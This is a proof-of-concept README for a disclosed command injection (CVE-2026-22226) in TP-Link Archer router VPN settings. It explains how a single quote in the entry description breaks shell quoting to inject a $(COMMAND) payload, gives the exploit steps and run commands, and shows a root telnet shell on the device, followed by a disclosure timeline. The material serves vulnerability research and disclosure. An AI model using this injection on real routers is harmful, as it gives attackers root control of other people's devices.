Proof of Concept for CVE-2026-22226
Authenticated LAN-side OS Command Injection in the VPN Client of TP-Link Archer Wi-Fi routers
The VPN Client controller stores the user-controlled entry description (des) in the UCI configuration with a weak validation regex. When the entry is later read back (while editing it in the WebUI), get_ovpn_data() interpolates des into a quoted shell command passed to os.execute() without any sanitization :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)The single-quote character (') passes the validation regex, which is enough to break out of the shell quoting and inject commands via $() substitution. A des field set to '$(COMMAND)' turns the command into :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_editNote that the command output is never returned in the HTTP response, so the injection is blind. This is why we need an out-of-band channel (here the PoC script spawns a telnetd server to get an interactive shell).
Note
I only tested this script on a TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), but other Archer devices are likely vulnerable too.
This poc follows this process :
- Authenticate to LuCI as
admin - Upload a dummy
.ovpnconfiguration file - Insert a VPN client entry with a poisoned
desfield, escaping the single-quoted context and injecting our payload via a command substitution - Trigger
get_ovpn_data()by reading the entry back, which feeds the poisoneddesintoos.execute() - Clean up the poisoned VPN entry (this allows re-running the exploit later)
Warning
The exploitation of this vulnerability leads to OS command execution as root on the router (full device compromise), bypassing the des input validation via the allowed single-quote character.
Python dependencies are declared inline in the script, so you can run it directly with a modern Python project manager, or install them manually with pip :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py-
set the target IP, credentials, and payload in
poc.py -
run the script :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK- interact with the spawned telnetd server :
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux- 2026-02-18 : Vulnerability reported to TP-Link, providing a detailed report and proof of concept script
- 2026-03-25 : TP-Link acknowledged the report and indicated the process could take up to 90 days
- 2026-05-13 : TP-Link requested an additional 30 days, which we accepted
- 2026-05-16 : CVE-2026-22226 assigned, tracking the same bug reported on the BE230 by another researcher a few days earlier ; disclosure date set to 2026-07-22
- 2026-06-04 : Fixed AX73 firmware released (v1.3.1)
- 2026-07-22 : Public disclosure